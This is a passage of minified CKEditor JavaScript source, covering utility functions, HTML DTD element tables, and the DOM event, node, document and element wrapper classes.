/^-?\d+\.?\d*px$/,e;return function(d){e=CKEDITOR.tools.trim(d+"")+"px";return a.test(e)?e:d||""}}(),convertToPx:function(){var a;return function(e){if(!a){a=CKEDITOR.dom.element.createFromHtml('<div style="position:absolute;left:-9999px;top:-9999px;margin:0px;padding:0px;border:0px;"></div>',CKEDITOR.document);CKEDITOR.document.getBody().append(a)}if(!/%$/.test(e)){a.setStyle("width",e);return a.$.clientWidth}return e}}(),repeat:function(a,e){return Array(e+1).join(a)},tryThese:function(){for(var a,
e=0,d=arguments.length;e<d;e++){var b=arguments[e];try{a=b();break}catch(c){}}return a},genKey:function(){return Array.prototype.slice.call(arguments).join("-")},defer:function(a){return function(){var e=arguments,d=this;window.setTimeout(function(){a.apply(d,e)},0)}},normalizeCssText:function(a,e){var d=[],b,c=CKEDITOR.tools.parseCssText(a,true,e);for(b in c)d.push(b+":"+c[b]);d.sort();return d.length?d.join(";")+";":""},convertRgbToHex:function(a){return a.replace(/(?:rgb\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\))/gi,
function(a,e,d,b){a=[e,d,b];for(e=0;e<3;e++)a[e]=("0"+parseInt(a[e],10).toString(16)).slice(-2);return"#"+a.join("")})},parseCssText:function(a,e,d){var b={};if(d){d=new CKEDITOR.dom.element("span");d.setAttribute("style",a);a=CKEDITOR.tools.convertRgbToHex(d.getAttribute("style")||"")}if(!a||a==";")return b;a.replace(/&quot;/g,'"').replace(/\s*([^:;\s]+)\s*:\s*([^;]+)\s*(?=;|$)/g,function(a,d,m){if(e){d=d.toLowerCase();d=="font-family"&&(m=m.toLowerCase().replace(/["']/g,"").replace(/\s*,\s*/g,","));
m=CKEDITOR.tools.trim(m)}b[d]=m});return b},writeCssText:function(a,e){var d,b=[];for(d in a)b.push(d+":"+a[d]);e&&b.sort();return b.join("; ")},objectCompare:function(a,e,d){var b;if(!a&&!e)return true;if(!a||!e)return false;for(b in a)if(a[b]!=e[b])return false;if(!d)for(b in e)if(a[b]!=e[b])return false;return true},objectKeys:function(a){var e=[],d;for(d in a)e.push(d);return e},convertArrayToObject:function(a,e){var d={};arguments.length==1&&(e=true);for(var b=0,c=a.length;b<c;++b)d[a[b]]=e;
return d},fixDomain:function(){for(var a;;)try{a=window.parent.document.domain;break}catch(e){a=a?a.replace(/.+?(?:\.|$)/,""):document.domain;if(!a)break;document.domain=a}return!!a},eventsBuffer:function(a,e){function d(){c=(new Date).getTime();b=false;e()}var b,c=0;return{input:function(){if(!b){var e=(new Date).getTime()-c;e<a?b=setTimeout(d,a-e):d()}},reset:function(){b&&clearTimeout(b);b=c=0}}},enableHtml5Elements:function(a,e){for(var d=["abbr","article","aside","audio","bdi","canvas","data",
"datalist","details","figcaption","figure","footer","header","hgroup","mark","meter","nav","output","progress","section","summary","time","video"],b=d.length,c;b--;){c=a.createElement(d[b]);e&&a.appendChild(c)}},checkIfAnyArrayItemMatches:function(a,e){for(var d=0,b=a.length;d<b;++d)if(a[d].match(e))return true;return false},checkIfAnyObjectPropertyMatches:function(a,e){for(var d in a)if(d.match(e))return true;return false},transparentImageData:"data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw=="}})();
CKEDITOR.dtd=function(){var a=CKEDITOR.tools.extend,f=function(a,e){for(var d=CKEDITOR.tools.clone(a),b=1;b<arguments.length;b++){var e=arguments[b],c;for(c in e)delete d[c]}return d},b={},c={},e={address:1,article:1,aside:1,blockquote:1,details:1,div:1,dl:1,fieldset:1,figure:1,footer:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,header:1,hgroup:1,hr:1,main:1,menu:1,nav:1,ol:1,p:1,pre:1,section:1,table:1,ul:1},d={command:1,link:1,meta:1,noscript:1,script:1,style:1},h={},k={"#":1},j={center:1,dir:1,noframes:1};
a(b,{a:1,abbr:1,area:1,audio:1,b:1,bdi:1,bdo:1,br:1,button:1,canvas:1,cite:1,code:1,command:1,datalist:1,del:1,dfn:1,em:1,embed:1,i:1,iframe:1,img:1,input:1,ins:1,kbd:1,keygen:1,label:1,map:1,mark:1,meter:1,noscript:1,object:1,output:1,progress:1,q:1,ruby:1,s:1,samp:1,script:1,select:1,small:1,span:1,strong:1,sub:1,sup:1,textarea:1,time:1,u:1,"var":1,video:1,wbr:1},k,{acronym:1,applet:1,basefont:1,big:1,font:1,isindex:1,strike:1,style:1,tt:1});a(c,e,b,j);f={a:f(b,{a:1,button:1}),abbr:b,address:c,
area:h,article:c,aside:c,audio:a({source:1,track:1},c),b:b,base:h,bdi:b,bdo:b,blockquote:c,body:c,br:h,button:f(b,{a:1,button:1}),canvas:b,caption:c,cite:b,code:b,col:h,colgroup:{col:1},command:h,datalist:a({option:1},b),dd:c,del:b,details:a({summary:1},c),dfn:b,div:c,dl:{dt:1,dd:1},dt:c,em:b,embed:h,fieldset:a({legend:1},c),figcaption:c,figure:a({figcaption:1},c),footer:c,form:c,h1:b,h2:b,h3:b,h4:b,h5:b,h6:b,head:a({title:1,base:1},d),header:c,hgroup:{h1:1,h2:1,h3:1,h4:1,h5:1,h6:1},hr:h,html:a({head:1,
body:1},c,d),i:b,iframe:k,img:h,input:h,ins:b,kbd:b,keygen:h,label:b,legend:b,li:c,link:h,main:c,map:c,mark:b,menu:a({li:1},c),meta:h,meter:f(b,{meter:1}),nav:c,noscript:a({link:1,meta:1,style:1},b),object:a({param:1},b),ol:{li:1},optgroup:{option:1},option:k,output:b,p:b,param:h,pre:b,progress:f(b,{progress:1}),q:b,rp:b,rt:b,ruby:a({rp:1,rt:1},b),s:b,samp:b,script:k,section:c,select:{optgroup:1,option:1},small:b,source:h,span:b,strong:b,style:k,sub:b,summary:b,sup:b,table:{caption:1,colgroup:1,thead:1,
tfoot:1,tbody:1,tr:1},tbody:{tr:1},td:c,textarea:k,tfoot:{tr:1},th:c,thead:{tr:1},time:f(b,{time:1}),title:k,tr:{th:1,td:1},track:h,u:b,ul:{li:1},"var":b,video:a({source:1,track:1},c),wbr:h,acronym:b,applet:a({param:1},c),basefont:h,big:b,center:c,dialog:h,dir:{li:1},font:b,isindex:h,noframes:c,strike:b,tt:b};a(f,{$block:a({audio:1,dd:1,dt:1,figcaption:1,li:1,video:1},e,j),$blockLimit:{article:1,aside:1,audio:1,body:1,caption:1,details:1,dir:1,div:1,dl:1,fieldset:1,figcaption:1,figure:1,footer:1,
form:1,header:1,hgroup:1,main:1,menu:1,nav:1,ol:1,section:1,table:1,td:1,th:1,tr:1,ul:1,video:1},$cdata:{script:1,style:1},$editable:{address:1,article:1,aside:1,blockquote:1,body:1,details:1,div:1,fieldset:1,figcaption:1,footer:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,header:1,hgroup:1,main:1,nav:1,p:1,pre:1,section:1},$empty:{area:1,base:1,basefont:1,br:1,col:1,command:1,dialog:1,embed:1,hr:1,img:1,input:1,isindex:1,keygen:1,link:1,meta:1,param:1,source:1,track:1,wbr:1},$inline:b,$list:{dl:1,ol:1,
ul:1},$listItem:{dd:1,dt:1,li:1},$nonBodyContent:a({body:1,head:1,html:1},f.head),$nonEditable:{applet:1,audio:1,button:1,embed:1,iframe:1,map:1,object:1,option:1,param:1,script:1,textarea:1,video:1},$object:{applet:1,audio:1,button:1,hr:1,iframe:1,img:1,input:1,object:1,select:1,table:1,textarea:1,video:1},$removeEmpty:{abbr:1,acronym:1,b:1,bdi:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,font:1,i:1,ins:1,label:1,kbd:1,mark:1,meter:1,output:1,q:1,ruby:1,s:1,samp:1,small:1,span:1,strike:1,strong:1,
sub:1,sup:1,time:1,tt:1,u:1,"var":1},$tabIndex:{a:1,area:1,button:1,input:1,object:1,select:1,textarea:1},$tableContent:{caption:1,col:1,colgroup:1,tbody:1,td:1,tfoot:1,th:1,thead:1,tr:1},$transparent:{a:1,audio:1,canvas:1,del:1,ins:1,map:1,noscript:1,object:1,video:1},$intermediate:{caption:1,colgroup:1,dd:1,dt:1,figcaption:1,legend:1,li:1,optgroup:1,option:1,rp:1,rt:1,summary:1,tbody:1,td:1,tfoot:1,th:1,thead:1,tr:1}});return f}();CKEDITOR.dom.event=function(a){this.$=a};
CKEDITOR.dom.event.prototype={getKey:function(){return this.$.keyCode||this.$.which},getKeystroke:function(){var a=this.getKey();if(this.$.ctrlKey||this.$.metaKey)a=a+CKEDITOR.CTRL;this.$.shiftKey&&(a=a+CKEDITOR.SHIFT);this.$.altKey&&(a=a+CKEDITOR.ALT);return a},preventDefault:function(a){var f=this.$;f.preventDefault?f.preventDefault():f.returnValue=false;a&&this.stopPropagation()},stopPropagation:function(){var a=this.$;a.stopPropagation?a.stopPropagation():a.cancelBubble=true},getTarget:function(){var a=
this.$.target||this.$.srcElement;return a?new CKEDITOR.dom.node(a):null},getPhase:function(){return this.$.eventPhase||2},getPageOffset:function(){var a=this.getTarget().getDocument().$;return{x:this.$.pageX||this.$.clientX+(a.documentElement.scrollLeft||a.body.scrollLeft),y:this.$.pageY||this.$.clientY+(a.documentElement.scrollTop||a.body.scrollTop)}}};CKEDITOR.CTRL=1114112;CKEDITOR.SHIFT=2228224;CKEDITOR.ALT=4456448;CKEDITOR.EVENT_PHASE_CAPTURING=1;CKEDITOR.EVENT_PHASE_AT_TARGET=2;
CKEDITOR.EVENT_PHASE_BUBBLING=3;CKEDITOR.dom.domObject=function(a){if(a)this.$=a};
CKEDITOR.dom.domObject.prototype=function(){var a=function(a,b){return function(c){typeof CKEDITOR!="undefined"&&a.fire(b,new CKEDITOR.dom.event(c))}};return{getPrivate:function(){var a;if(!(a=this.getCustomData("_")))this.setCustomData("_",a={});return a},on:function(f){var b=this.getCustomData("_cke_nativeListeners");if(!b){b={};this.setCustomData("_cke_nativeListeners",b)}if(!b[f]){b=b[f]=a(this,f);this.$.addEventListener?this.$.addEventListener(f,b,!!CKEDITOR.event.useCapture):this.$.attachEvent&&
this.$.attachEvent("on"+f,b)}return CKEDITOR.event.prototype.on.apply(this,arguments)},removeListener:function(a){CKEDITOR.event.prototype.removeListener.apply(this,arguments);if(!this.hasListeners(a)){var b=this.getCustomData("_cke_nativeListeners"),c=b&&b[a];if(c){this.$.removeEventListener?this.$.removeEventListener(a,c,false):this.$.detachEvent&&this.$.detachEvent("on"+a,c);delete b[a]}}},removeAllListeners:function(){var a=this.getCustomData("_cke_nativeListeners"),b;for(b in a){var c=a[b];this.$.detachEvent?
this.$.detachEvent("on"+b,c):this.$.removeEventListener&&this.$.removeEventListener(b,c,false);delete a[b]}CKEDITOR.event.prototype.removeAllListeners.call(this)}}}();
(function(a){var f={};CKEDITOR.on("reset",function(){f={}});a.equals=function(a){try{return a&&a.$===this.$}catch(c){return false}};a.setCustomData=function(a,c){var e=this.getUniqueId();(f[e]||(f[e]={}))[a]=c;return this};a.getCustomData=function(a){var c=this.$["data-cke-expando"];return(c=c&&f[c])&&a in c?c[a]:null};a.removeCustomData=function(a){var c=this.$["data-cke-expando"],c=c&&f[c],e,d;if(c){e=c[a];d=a in c;delete c[a]}return d?e:null};a.clearCustomData=function(){this.removeAllListeners();
var a=this.$["data-cke-expando"];a&&delete f[a]};a.getUniqueId=function(){return this.$["data-cke-expando"]||(this.$["data-cke-expando"]=CKEDITOR.tools.getNextNumber())};CKEDITOR.event.implementOn(a)})(CKEDITOR.dom.domObject.prototype);
CKEDITOR.dom.node=function(a){return a?new CKEDITOR.dom[a.nodeType==CKEDITOR.NODE_DOCUMENT?"document":a.nodeType==CKEDITOR.NODE_ELEMENT?"element":a.nodeType==CKEDITOR.NODE_TEXT?"text":a.nodeType==CKEDITOR.NODE_COMMENT?"comment":a.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT?"documentFragment":"domObject"](a):this};CKEDITOR.dom.node.prototype=new CKEDITOR.dom.domObject;CKEDITOR.NODE_ELEMENT=1;CKEDITOR.NODE_DOCUMENT=9;CKEDITOR.NODE_TEXT=3;CKEDITOR.NODE_COMMENT=8;CKEDITOR.NODE_DOCUMENT_FRAGMENT=11;
CKEDITOR.POSITION_IDENTICAL=0;CKEDITOR.POSITION_DISCONNECTED=1;CKEDITOR.POSITION_FOLLOWING=2;CKEDITOR.POSITION_PRECEDING=4;CKEDITOR.POSITION_IS_CONTAINED=8;CKEDITOR.POSITION_CONTAINS=16;
CKEDITOR.tools.extend(CKEDITOR.dom.node.prototype,{appendTo:function(a,f){a.append(this,f);return a},clone:function(a,f){var b=this.$.cloneNode(a),c=function(e){e["data-cke-expando"]&&(e["data-cke-expando"]=false);if(e.nodeType==CKEDITOR.NODE_ELEMENT){f||e.removeAttribute("id",false);if(a)for(var e=e.childNodes,d=0;d<e.length;d++)c(e[d])}};c(b);return new CKEDITOR.dom.node(b)},hasPrevious:function(){return!!this.$.previousSibling},hasNext:function(){return!!this.$.nextSibling},insertAfter:function(a){a.$.parentNode.insertBefore(this.$,
a.$.nextSibling);return a},insertBefore:function(a){a.$.parentNode.insertBefore(this.$,a.$);return a},insertBeforeMe:function(a){this.$.parentNode.insertBefore(a.$,this.$);return a},getAddress:function(a){for(var f=[],b=this.getDocument().$.documentElement,c=this.$;c&&c!=b;){var e=c.parentNode;e&&f.unshift(this.getIndex.call({$:c},a));c=e}return f},getDocument:function(){return new CKEDITOR.dom.document(this.$.ownerDocument||this.$.parentNode.ownerDocument)},getIndex:function(a){function f(a,e){var b=
e?a.nextSibling:a.previousSibling;return!b||b.nodeType!=CKEDITOR.NODE_TEXT?null:b.nodeValue?b:f(b,e)}var b=this.$,c=-1,e;if(!this.$.parentNode||a&&b.nodeType==CKEDITOR.NODE_TEXT&&!b.nodeValue&&!f(b)&&!f(b,true))return-1;do if(!a||!(b!=this.$&&b.nodeType==CKEDITOR.NODE_TEXT&&(e||!b.nodeValue))){c++;e=b.nodeType==CKEDITOR.NODE_TEXT}while(b=b.previousSibling);return c},getNextSourceNode:function(a,f,b){if(b&&!b.call)var c=b,b=function(a){return!a.equals(c)};var a=!a&&this.getFirst&&this.getFirst(),e;
if(!a){if(this.type==CKEDITOR.NODE_ELEMENT&&b&&b(this,true)===false)return null;a=this.getNext()}for(;!a&&(e=(e||this).getParent());){if(b&&b(e,true)===false)return null;a=e.getNext()}return!a||b&&b(a)===false?null:f&&f!=a.type?a.getNextSourceNode(false,f,b):a},getPreviousSourceNode:function(a,f,b){if(b&&!b.call)var c=b,b=function(a){return!a.equals(c)};var a=!a&&this.getLast&&this.getLast(),e;if(!a){if(this.type==CKEDITOR.NODE_ELEMENT&&b&&b(this,true)===false)return null;a=this.getPrevious()}for(;!a&&
(e=(e||this).getParent());){if(b&&b(e,true)===false)return null;a=e.getPrevious()}return!a||b&&b(a)===false?null:f&&a.type!=f?a.getPreviousSourceNode(false,f,b):a},getPrevious:function(a){var f=this.$,b;do b=(f=f.previousSibling)&&f.nodeType!=10&&new CKEDITOR.dom.node(f);while(b&&a&&!a(b));return b},getNext:function(a){var f=this.$,b;do b=(f=f.nextSibling)&&new CKEDITOR.dom.node(f);while(b&&a&&!a(b));return b},getParent:function(a){var f=this.$.parentNode;return f&&(f.nodeType==CKEDITOR.NODE_ELEMENT||
a&&f.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT)?new CKEDITOR.dom.node(f):null},getParents:function(a){var f=this,b=[];do b[a?"push":"unshift"](f);while(f=f.getParent());return b},getCommonAncestor:function(a){if(a.equals(this))return this;if(a.contains&&a.contains(this))return a;var f=this.contains?this:this.getParent();do if(f.contains(a))return f;while(f=f.getParent());return null},getPosition:function(a){var f=this.$,b=a.$;if(f.compareDocumentPosition)return f.compareDocumentPosition(b);if(f==
b)return CKEDITOR.POSITION_IDENTICAL;if(this.type==CKEDITOR.NODE_ELEMENT&&a.type==CKEDITOR.NODE_ELEMENT){if(f.contains){if(f.contains(b))return CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_PRECEDING;if(b.contains(f))return CKEDITOR.POSITION_IS_CONTAINED+CKEDITOR.POSITION_FOLLOWING}if("sourceIndex"in f)return f.sourceIndex<0||b.sourceIndex<0?CKEDITOR.POSITION_DISCONNECTED:f.sourceIndex<b.sourceIndex?CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_FOLLOWING}for(var f=this.getAddress(),a=a.getAddress(),
b=Math.min(f.length,a.length),c=0;c<=b-1;c++)if(f[c]!=a[c]){if(c<b)return f[c]<a[c]?CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_FOLLOWING;break}return f.length<a.length?CKEDITOR.POSITION_CONTAINS+CKEDITOR.POSITION_PRECEDING:CKEDITOR.POSITION_IS_CONTAINED+CKEDITOR.POSITION_FOLLOWING},getAscendant:function(a,f){var b=this.$,c,e;if(!f)b=b.parentNode;if(typeof a=="function"){e=true;c=a}else{e=false;c=function(e){e=typeof e.nodeName=="string"?e.nodeName.toLowerCase():"";return typeof a=="string"?e==
a:e in a}}for(;b;){if(c(e?new CKEDITOR.dom.node(b):b))return new CKEDITOR.dom.node(b);try{b=b.parentNode}catch(d){b=null}}return null},hasAscendant:function(a,f){var b=this.$;if(!f)b=b.parentNode;for(;b;){if(b.nodeName&&b.nodeName.toLowerCase()==a)return true;b=b.parentNode}return false},move:function(a,f){a.append(this.remove(),f)},remove:function(a){var f=this.$,b=f.parentNode;if(b){if(a)for(;a=f.firstChild;)b.insertBefore(f.removeChild(a),f);b.removeChild(f)}return this},replace:function(a){this.insertBefore(a);
a.remove()},trim:function(){this.ltrim();this.rtrim()},ltrim:function(){for(var a;this.getFirst&&(a=this.getFirst());){if(a.type==CKEDITOR.NODE_TEXT){var f=CKEDITOR.tools.ltrim(a.getText()),b=a.getLength();if(f){if(f.length<b){a.split(b-f.length);this.$.removeChild(this.$.firstChild)}}else{a.remove();continue}}break}},rtrim:function(){for(var a;this.getLast&&(a=this.getLast());){if(a.type==CKEDITOR.NODE_TEXT){var f=CKEDITOR.tools.rtrim(a.getText()),b=a.getLength();if(f){if(f.length<b){a.split(f.length);
this.$.lastChild.parentNode.removeChild(this.$.lastChild)}}else{a.remove();continue}}break}if(CKEDITOR.env.needsBrFiller)(a=this.$.lastChild)&&(a.type==1&&a.nodeName.toLowerCase()=="br")&&a.parentNode.removeChild(a)},isReadOnly:function(){var a=this;this.type!=CKEDITOR.NODE_ELEMENT&&(a=this.getParent());if(a&&typeof a.$.isContentEditable!="undefined")return!(a.$.isContentEditable||a.data("cke-editable"));for(;a;){if(a.data("cke-editable"))break;if(a.getAttribute("contentEditable")=="false")return true;
if(a.getAttribute("contentEditable")=="true")break;a=a.getParent()}return!a}});CKEDITOR.dom.window=function(a){CKEDITOR.dom.domObject.call(this,a)};CKEDITOR.dom.window.prototype=new CKEDITOR.dom.domObject;
CKEDITOR.tools.extend(CKEDITOR.dom.window.prototype,{focus:function(){this.$.focus()},getViewPaneSize:function(){var a=this.$.document,f=a.compatMode=="CSS1Compat";return{width:(f?a.documentElement.clientWidth:a.body.clientWidth)||0,height:(f?a.documentElement.clientHeight:a.body.clientHeight)||0}},getScrollPosition:function(){var a=this.$;if("pageXOffset"in a)return{x:a.pageXOffset||0,y:a.pageYOffset||0};a=a.document;return{x:a.documentElement.scrollLeft||a.body.scrollLeft||0,y:a.documentElement.scrollTop||
a.body.scrollTop||0}},getFrame:function(){var a=this.$.frameElement;return a?new CKEDITOR.dom.element.get(a):null}});CKEDITOR.dom.document=function(a){CKEDITOR.dom.domObject.call(this,a)};CKEDITOR.dom.document.prototype=new CKEDITOR.dom.domObject;
CKEDITOR.tools.extend(CKEDITOR.dom.document.prototype,{type:CKEDITOR.NODE_DOCUMENT,appendStyleSheet:function(a){if(this.$.createStyleSheet)this.$.createStyleSheet(a);else{var f=new CKEDITOR.dom.element("link");f.setAttributes({rel:"stylesheet",type:"text/css",href:a});this.getHead().append(f)}},appendStyleText:function(a){if(this.$.createStyleSheet){var f=this.$.createStyleSheet("");f.cssText=a}else{var b=new CKEDITOR.dom.element("style",this);b.append(new CKEDITOR.dom.text(a,this));this.getHead().append(b)}return f||
b.$.sheet},createElement:function(a,f){var b=new CKEDITOR.dom.element(a,this);if(f){f.attributes&&b.setAttributes(f.attributes);f.styles&&b.setStyles(f.styles)}return b},createText:function(a){return new CKEDITOR.dom.text(a,this)},focus:function(){this.getWindow().focus()},getActive:function(){var a;try{a=this.$.activeElement}catch(f){return null}return new CKEDITOR.dom.element(a)},getById:function(a){return(a=this.$.getElementById(a))?new CKEDITOR.dom.element(a):null},getByAddress:function(a,f){for(var b=
this.$.documentElement,c=0;b&&c<a.length;c++){var e=a[c];if(f)for(var d=-1,h=0;h<b.childNodes.length;h++){var k=b.childNodes[h];if(!(f===true&&k.nodeType==3&&k.previousSibling&&k.previousSibling.nodeType==3)){d++;if(d==e){b=k;break}}}else b=b.childNodes[e]}return b?new CKEDITOR.dom.node(b):null},getElementsByTag:function(a,f){!(CKEDITOR.env.ie&&document.documentMode<=8)&&f&&(a=f+":"+a);return new CKEDITOR.dom.nodeList(this.$.getElementsByTagName(a))},getHead:function(){var a=this.$.getElementsByTagName("head")[0];
return a=a?new CKEDITOR.dom.element(a):this.getDocumentElement().append(new CKEDITOR.dom.element("head"),true)},getBody:function(){return new CKEDITOR.dom.element(this.$.body)},getDocumentElement:function(){return new CKEDITOR.dom.element(this.$.documentElement)},getWindow:function(){return new CKEDITOR.dom.window(this.$.parentWindow||this.$.defaultView)},write:function(a){this.$.open("text/html","replace");CKEDITOR.env.ie&&(a=a.replace(/(?:^\s*<!DOCTYPE[^>]*?>)|^/i,'$&\n<script data-cke-temp="1">('+
CKEDITOR.tools.fixDomain+")();<\/script>"));this.$.write(a);this.$.close()},find:function(a){return new CKEDITOR.dom.nodeList(this.$.querySelectorAll(a))},findOne:function(a){return(a=this.$.querySelector(a))?new CKEDITOR.dom.element(a):null},_getHtml5ShivFrag:function(){var a=this.getCustomData("html5ShivFrag");if(!a){a=this.$.createDocumentFragment();CKEDITOR.tools.enableHtml5Elements(a,true);this.setCustomData("html5ShivFrag",a)}return a}});CKEDITOR.dom.nodeList=function(a){this.$=a};
CKEDITOR.dom.nodeList.prototype={count:function(){return this.$.length},getItem:function(a){if(a<0||a>=this.$.length)return null;return(a=this.$[a])?new CKEDITOR.dom.node(a):null}};CKEDITOR.dom.element=function(a,f){typeof a=="string"&&(a=(f?f.$:document).createElement(a));CKEDITOR.dom.domObject.call(this,a)};CKEDITOR.dom.element.get=function(a){return(a=typeof a=="string"?document.getElementById(a)||document.getElementsByName(a)[0]:a)&&(a.$?a:new CKEDITOR.dom.element(a))};
CKEDITOR.dom.element.prototype=new CKEDITOR.dom.node;CKEDITOR.dom.element.createFromHtml=function(a,f){var b=new CKEDITOR.dom.element("div",f);b.setHtml(a);return b.getFirst().remove()};
CKEDITOR.dom.element.setMarker=function(a,f,b,c){var e=f.getCustomData("list_marker_id")||f.setCustomData("list_marker_id",CKEDITOR.tools.getNextNumber()).getCustomData("list_marker_id"),d=f.getCustomData("list_marker_names")||f.setCustomData("list_marker_names",{}).getCustomData("list_marker_names");a[e]=f;d[b]=1;return f.setCustomData(b,c)};CKEDITOR.dom.element.clearAllMarkers=function(a){for(var f in a)CKEDITOR.dom.element.clearMarkers(a,a[f],1)};
CKEDITOR.dom.element.clearMarkers=function(a,f,b){var c=f.getCustomData("list_marker_names"),e=f.getCustomData("list_marker_id"),d;for(d in c)f.removeCustomData(d);f.removeCustomData("list_marker_names");if(b){f.removeCustomData("list_marker_id");delete a[e]}};
(function(){function a(a){var d=true;if(!a.$.id){a.$.id="cke_tmp_"+CKEDITOR.tools.getNextNumber();d=false}return function(){d||a.removeAttribute("id")}}function f(a,d){return"#"+a.$.id+" "+d.split(/,\s*/).join(", #"+a.$.id+" ")}function b(a){for(var d=0,b=0,f=c[a].length;b<f;b++)d=d+(parseInt(this.getComputedStyle(c[a][b])||0,10)||0);return d}CKEDITOR.tools.extend(CKEDITOR.dom.element.prototype,{type:CKEDITOR.NODE_ELEMENT,addClass:function(a){var d=this.$.className;d&&(RegExp("(?:^|\\s)"+a+"(?:\\s|$)",
"").test(d)||(d=d+(" "+a)));this.$.className=d||a;return this},removeClass:function(a){var d=this.getAttribute("class");if(d){a=RegExp("(?:^|\\s+)"+a+"(?=\\s|$)","i");if(a.test(d))(d=d.replace(a,"").replace(/^\s+/,""))?this.setAttribute("class",d):this.removeAttribute("class")}return this},hasClass:function(a){return RegExp("(?:^|\\s+)"+a+"(?=\\s|$)","").test(this.getAttribute("class"))},append:function(a,d){typeof a=="string"&&(a=this.getDocument().createElement(a));d?this.$.insertBefore(a.$,this.$.firstChild):
this.$.appendChild(a.$);return a},appendHtml:function(a){if(this.$.childNodes.length){var d=new CKEDITOR.dom.element("div",this.getDocument());d.setHtml(a);d.moveChildren(this)}else this.setHtml(a)},appendText:function(a){this.$.text!=null?this.$.text=this.$.text+a:this.append(new CKEDITOR.dom.text(a))},appendBogus:function(a){if(a||CKEDITOR.env.needsBrFiller){for(a=this.getLast();a&&a.type==CKEDITOR.NODE_TEXT&&!CKEDITOR.tools.rtrim(a.getText());)a=a.getPrevious();if(!a||!a.is||!a.is("br")){a=this.getDocument().createElement("br");
CKEDITOR.env.gecko&&a.setAttribute("type","_moz");this.append(a)}}},breakParent:function(a){var d=new CKEDITOR.dom.range(this.getDocument());d.setStartAfter(this);d.setEndAfter(a);a=d.extractContents();d.insertNode(this.remove());a.insertAfterNode(this)},contains:CKEDITOR.env.ie||CKEDITOR.env.webkit?function(a){var d=this.$;return a.type!=CKEDITOR.NODE_ELEMENT?d.contains(a.getParent().$):d!=a.$&&d.contains(a.$)}:function(a){return!!(this.$.compareDocumentPosition(a.$)&16)},focus:function(){function a(){try{this.$.focus()}catch(e){}}
return function(d){d?CKEDITOR.tools.setTimeout(a,100,this):a.call(this)}}(),getHtml:function(){var a=this.$.innerHTML;return CKEDITOR.env.ie?a.replace(/<\?[^>]*>/g,""):a},getOuterHtml:function(){if(this.$.outerHTML)return this.$.outerHTML.replace(/<\?[^>]*>/,"");var a=this.$.ownerDocument.createElement("div");a.appendChild(this.$.cloneNode(true));return a.innerHTML},getClientRect:function(){var a=CKEDITOR.tools.extend({},this.$.getBoundingClientRect());!a.width&&(a.width=a.right-a.left);!a.height&&
(a.height=a.bottom-a.top);return a},setHtml:CKEDITOR.env.ie&&CKEDITOR.env.version<9?function(a){try{var d=this.$;if(this.getParent())return d.innerHTML=a;var b=this.getDocument()._getHtml5ShivFrag();b.appendChild(d);d.innerHTML=a;b.removeChild(d);return a}catch(c){this.$.innerHTML="";d=new CKEDITOR.dom.element("body",this.getDocument());d.$.innerHTML=a;for(d=d.getChildren();d.count();)this.append(d.getItem(0));return a}}:function(a){return this.$.innerHTML=a},setText:function(){var a=document.createElement("p");
a.innerHTML="x";a=a.textContent;return function(d){this.$[a?"textContent":"innerText"]=d}}(),getAttribute:function(){var a=function(a){return this.$.getAttribute(a,2)};return CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(a){switch(a){case "class":a="className";break;case "http-equiv":a="httpEquiv";break;case "name":return this.$.name;case "tabindex":a=this.$.getAttribute(a,2);a!==0&&this.$.tabIndex===0&&(a=null);return a;case "checked":a=this.$.attributes.getNamedItem(a);
return(a.specified?a.nodeValue:this.$.checked)?"checked":null;case "hspace":case "value":return this.$[a];case "style":return this.$.style.cssText;case "contenteditable":case "contentEditable":return this.$.attributes.getNamedItem("contentEditable").specified?this.$.getAttribute("contentEditable"):null}return this.$.getAttribute(a,2)}:a}(),getChildren:function(){return new CKEDITOR.dom.nodeList(this.$.childNodes)},getComputedStyle:CKEDITOR.env.ie?function(a){return this.$.currentStyle[CKEDITOR.tools.cssStyleToDomStyle(a)]}:
function(a){var d=this.getWindow().$.getComputedStyle(this.$,null);return d?d.getPropertyValue(a):""},getDtd:function(){var a=CKEDITOR.dtd[this.getName()];this.getDtd=function(){return a};return a},getElementsByTag:CKEDITOR.dom.document.prototype.getElementsByTag,getTabIndex:CKEDITOR.env.ie?function(){var a=this.$.tabIndex;a===0&&(!CKEDITOR.dtd.$tabIndex[this.getName()]&&parseInt(this.getAttribute("tabindex"),10)!==0)&&(a=-1);return a}:CKEDITOR.env.webkit?function(){var a=this.$.tabIndex;if(a===void 0){a=
parseInt(this.getAttribute("tabindex"),10);isNaN(a)&&(a=-1)}return a}:function(){return this.$.tabIndex},getText:function(){return this.$.textContent||this.$.innerText||""},getWindow:function(){return this.getDocument().getWindow()},getId:function(){return this.$.id||null},getNameAtt:function(){return this.$.name||null},getName:function(){var a=this.$.nodeName.toLowerCase();if(CKEDITOR.env.ie&&document.documentMode<=8){var d=this.$.scopeName;d!="HTML"&&(a=d.toLowerCase()+":"+a)}this.getName=function(){return a};
return this.getName()},getValue:function(){return this.$.value},getFirst:function(a){var d=this.$.firstChild;(d=d&&new CKEDITOR.dom.node(d))&&(a&&!a(d))&&(d=d.getNext(a));return d},getLast:function(a){var d=this.$.lastChild;(d=d&&new CKEDITOR.dom.node(d))&&(a&&!a(d))&&(d=d.getPrevious(a));return d},getStyle:function(a){return this.$.style[CKEDITOR.tools.cssStyleToDomStyle(a)]},is:function(){var a=this.getName();if(typeof arguments[0]=="object")return!!arguments[0][a];for(var d=0;d<arguments.length;d++)if(arguments[d]==
